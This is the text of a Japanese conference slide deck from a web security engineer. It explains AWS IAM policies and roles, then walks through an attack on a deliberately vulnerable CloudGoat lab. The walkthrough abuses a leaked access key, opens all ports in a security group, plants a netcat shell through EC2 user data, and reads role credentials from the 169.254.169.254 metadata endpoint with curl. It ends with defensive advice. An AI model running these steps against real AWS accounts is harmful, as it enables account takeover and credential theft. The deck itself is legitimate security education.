Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
SlideShare a Scribd company logo
Webセキュリティエンジニア
から見る
AWSセキュリティ
注意事項
・インターネットに繋がっている場合、
絶対に外部に向けて攻撃を実行しないように注意
・本資料で習得した技術を悪用、または不正に使用しないこと
⁃ 不正アクセス行為の禁止等に関する法律
⁃ http://law.e-gov.go.jp/htmldata/H11/H11HO128.html
本資料の内容を利用して発生したいかなる損害に対しても、弊社および著
作者は一切責任を負いません。
自己紹介
【名前】
安達 智弘(Adachi Tomohiro)
【会社】
株式会社 神戸デジタル・ラボ
セキュリティ事業部
【取り組み】
Webアプリケーションの
脆弱性診断業務に従事。
ピカピカのエンジニア1年生
自己紹介
【名前】
安達 智弘(Adachi Tomohiro)
【会社】
株式会社 神戸デジタル・ラボ
セキュリティ事業部
【コミュニティ】
・大和セキュリティ
・神戸脆弱性診断の会
ある日・・
ちょっと
JAWS登壇してみない?^^
超ホワイトな職場
※弊社のエイプリルフール企画です
AWS全く分からない・・
サービスめっちゃ多っ
まずはEC2からやろ・・
本セッションの要約
WEBの脆弱性診断士が
初めてAWS(EC2)を触ってみて
セキュリティについて考えてみた
本セッションの要約
■ポリシーの壁にぶち当たった話
■実際に脆弱なAWS環境へ攻撃した話
■攻撃から見えたもの
AWSを守る方法は
ググると山ほど出てくる
でも実際どんな
攻撃受けるのかって分からない
対策方法知りつつ
攻撃サンプルも知りたい
でも世の中では
“やってしまった話”
が絶えない・・・
ひぃぃぃぃぃぃい
こうなった原因・・
アクセスキーの流出
AWSへのアクセス方法
アクセス方法 認証方法
マネジメントコンソール
メールアドレス+パスワード
or
ユーザ名+パスワード
AWS CLI IAMユーザのアクセスキー
or
一時的なアクセスキー
AWS CLIの設定
クレデンシャル情報(IAMユーザのアクセスキー)を
登録すると、コンソールからアクセス可能
流出の過程
ソースへのアクセスキーのハードコードが原因
参考:http://hamafrog.com/aws/
アクセスキーの特徴
先頭文字が決まってて見つけやすい
ほぇぇぇぇぇぇえ
参考:https://qiita.com/saitotak/items/813ac6c2057ac64d5fef
もちろん対策の方法がある
IAMロールを使用して
一時的な認証情法を取得する
ポリシーってどういうこと・・
避けては通れない
ポリシーの概念
ポリシーとは・・?
アクセス制御の事
(ルール的な感じ)
ポリシーとは・・?
参考:https://docs.aws.amazon.com/ja_jp/IAM/latest/UserGuide/access_policies.html
IAMポリシーの図(1)
ポリシー IAM
ポリシー
まだ分けられる
IAMポリシーの種類
・管理ポリシー
・インラインポリシー
IAMポリシーの図(2)
ポリシー IAM
ポリシー
管理
ポリシー
インライン
ポリシー
まだまだ分けられる
管理ポリシーの種類
・AWS管理ポリシー
・カスタマー管理ポリシー
ポリシーの図(3)
ポリシー IAM
ポリシー
管理
ポリシー
インライン
ポリシー
カスタマー管理
ポリシー
AWS管理
ポリシー
AWS管理ポリシー
AWSが準備している
デフォルトで
用意されている物
カスタマー管理ポリシー
ユーザが独自に
作成しているポリシー
通常のadmin権限に
IP制限を付けたポリシー
とか作れる
インラインポリシー
IAMユーザへ個別に設定されているポリシー
・ポリシーとして登録されない
・ユーザごとに設定できる
・管理ポリシーの内容変更に影響されない設定が可能
プリンシパルエンティティに
付与して制御する
プリンシパルエンティティ
ポリシーを与えられる対象のこと
プリンシパルエンティティ
IAMポリシー
IAMユーザ IAMグループ IAMロール
IAMユーザへのポリシー付与
IAMユーザポリシー
EC2
付与
IAMグループの作成(1/2)
IAMグループポリシー
EC2
S3
付与
IAMグループの作成(2/2)
IAMユーザIAMグループ
EC2
S3
所属
セキュリティを考えると
必須な”ロール”
IAMロールを作成
IAMロールポリシー
S3
付与
作成したIAMロールをアタッチ
IAMロール
S3
割り当て
EC2
インスタンス
作成したIAMロールをアタッチ
EC2
インスタンス
S3
S3権限ゲットだぜ!
IAMロールの特徴
ロールに付与されている権限を
“一時的に”使うことが出来る
認証情報を得る
IAMロールのメリット
ソース内にクレデンシャル情報を
ハードコードすることなく
他AWSサービスへのアクセス権を得る
EC2インスタンス内から取得する方法
EC2
インスタンス
インスタンスが
自分自身(169.254.169.254)
に問い合わせることで
メタデータを取得する仕組
みがある。
(例)
$ curl
http://169.254.169.254/
latest/meta-data
EC2インスタンス内から取得する方法
EC2
S3
インスタンス
この仕組みを利用して
S3の権限を持つロールが
割り当てているインスタンスで
メタデータを取得する。
(例)
$ curl
http://169.254.169.254/
latest/meta-data/
iam/security-credentials/ロール名
インスタンス内で実行してみる
このキーにS3の権限がある
ここからが本日の本題
対策方法知りつつ
攻撃サンプルも知りたい
実際に攻撃者目線で
検証してみた
Cloud Goat
Rhino Security Labsの
脆弱なAWS環境を構築する
オープンソースソフトウェア。
今回はこれを使用して構築した
脆弱な環境へ
攻撃を仕掛けてみた
この検証のシナリオ
~とある日~
ソース内にアクセスキーをハードコードしたまま、
Githubへプッシュしちゃいました^^
案の定、鍵が抜かれました><
さっそくやってみる
まずは盗んだ
キーの登録から始めましょう
作業者のプロファイル作成
$ aws configure --profile xxx
AWS CLIを使用する上での、クレデンシャル情報の登録
今後、アクセスキーの持ち主であるIAMユーザの権限で作業する
次にやりたい事
このキーには
どんな権限があるのか?
権限を確認してみる
$ ./nimbostratus dump-permissions --access-key=xxx --
secret-key=yyy
EC2に関する
権限がある
攻撃の目標
稼働しているインスタンスの
root権限奪取
EC2の情報を確認する
権限があるからやってみる
EC2の情報の取得
$ aws --profile adachi ec2 describe-instances
EC2の情報の取得
$ aws --profile adachi ec2 describe-instances
セキュリティグループ一覧の
確認権限があるからやってみる
セキュリティグループの確認(1/3)
$ aws --profile adachi
ec2 describe-security-groups
「Tcp 80」が解放される
現在のセキュリティグループ
セキュリティグループの確認(2/3)
$ aws --profile adachi
ec2 describe-security-groups
「Tcp 22」が解放される
セキュリティグループの確認(3/3)
$ aws --profile adachi
ec2 describe-security-groups
「Tcp 0-65535」が解放される
これだと好き勝手できそう!
セキュリティグループの
変更権限があるからやってみる
セキュリティグループ変更
$ aws --profile adachi ec2 modify-instance-attribute
--instance-id i-xxxxxxxxxxxxxxxx
--groups sg-xxxxxxxxxxxxxxxxx
これで任意のポートが使えるようになった!
準備ができたので
さあ、Let’s Hack
ユーザデータ(1/2)
参考:https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/user-data.html
実行時に任意のスクリプトを走らせる
ユーザデータ(2/2)
参考:https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/user-data.html
root権限でコマンドを実行できる・・!
これは悪用できる匂いしかしない・・!
この機能を使って
root権限を取得しましょう
ユーザデータの取得
$ aws --profile adachi ec2 describe-instance-attribute
--instance-id i-xxxxxxxxxxxxxx
--attribute userData
ユーザデータをデコードして確認
ここに仕掛けてみましょう
ユーザデータを編集
インスタンスの再起動
$ aws --profile adachi ec2 stop-instances --instance-id i-
xxxxxxxxxxxxxxx
$ aws --profile adachi ec2 start-instances --instance-id i-
xxxxxxxxxxxxxxx
Netcatをインストールして
7777ポートにシェルを渡すはず
再起動後、接続してみる
きたあああああああ!!!!
権限のある
アクセスキーが流出すると
root権限がとれる
他に考えられる攻撃
■マイニング用のインスタンス立ち上げ
■提供しているサービスの破壊
■さらに別権限を取得し攻撃
今回はアクセスキーが
流失したシナリオ
ロールを使用した
一時アクセスキーも注意が必要
EC2インスタンス内から取得する方法
EC2
インスタンス
インスタンスが
自分自身(169.254.169.254)
に問い合わせることで
メタデータを取得する仕組
みがある。
(例)
$ curl
http://169.254.169.254/
latest/meta-data
メタデータは
内部からアクセスして得られる
内部からアクセス(リクエスト)
させれば得られる
想定されるWEBの脆弱性をついた攻撃
■SSRF
■ファイルインクルード攻撃
■OSコマンドインジェクション
OSコマンドインジェクション
今回AWSでEC2を
使ってみて思った事
AWSのセキュリティを
どの範囲まで考えるのか
参考:https://aws.amazon.com/jp/compliance/shared-responsibility-model/
AWSでEC2を使ってみて思った事
■AWSの機能を使用してセキュリティを担保する部分
→IAMとかセキュリティグループとか
■それ以外の部分でセキュリティが必要な部分
→インスタンス+その上で動かしているWEBアプリ
AWSでEC2を使ってみて思った事
■IAMの権限は最小に
■セキュリティグループ
→ポートは必要最小に
→IP制限が必要な部分は設定
AWSでEC2を使ってみて思った事
■アクセスキーの管理
■webの脆弱性をついて
一時アクセスキーが漏れないよう
注意する
AWSでEC2を使ってみて思った事
■脆弱性診断
■WAFの導入
■IDS/IPSの導入
ご清聴ありがとうございました

More Related Content

Webセキュリティエンジニアから見るAWSセキュリティ